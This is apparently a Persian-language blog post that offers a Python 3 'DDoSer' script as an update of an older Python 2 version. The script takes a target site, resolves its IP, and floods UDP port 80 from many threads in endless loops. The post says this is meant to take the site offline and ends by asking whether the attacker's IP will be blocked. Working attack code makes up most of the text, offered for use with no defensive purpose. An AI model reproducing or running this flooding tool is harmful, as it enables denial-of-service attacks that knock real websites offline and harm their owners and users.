سلام دوستان همانطور که میدونید کدر عزیز دو سال پیش یک پست درباره ساخت دیداسر با پایتون منتشر کرده اما اون برای پایتون 2 بوده .
همانطور که پایتون اعلام کرده از امسال دیگه پایتون 2 رو ساپورت نمیکنه و آپدیتی هم نداره و تمامی کتابخانه های پایتون 2 روی آخرین نسخه پایتون 3 وجود داره پس قطعا باید این زبان رو ترک کنید و بیاید به سمت پایتون 3
کدی که میخوایم امروز بهتون آموزش بدیم ساخت دیداسر با پایتون 3 است :
import time
import socket
import sys
import _thread
site = input("Enter your site url => ")
thread_count = input("Enter your thread => ")
ip = socket.gethostbyname(site)
UDP_PORT = 80
MESSAGE = 'virus32'
print("UDP target IP:", ip)
print("UDP target port:", UDP_PORT)
time.sleep(3)
def ddos(i):
while 1:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT))
print("Packet Sent")
for i in range(int(thread_count)):
try:
_thread.start_new_thread(ddos, ("Thread-" + str(i),))
except KeyboardInterrupt:
sys.exit(0)
while 1:
pass
در این اسکریپت ما با استفاده از کتابخانه سوکت به صورت بینهایت بار یک پاکت و یا یک درخواست رو به سرور سایت میفرستیم که در آخر باعث از کار افتادن سایت میشه.
توی این دیداسر آیپی ما رو سایت بلاک نمی کنه؟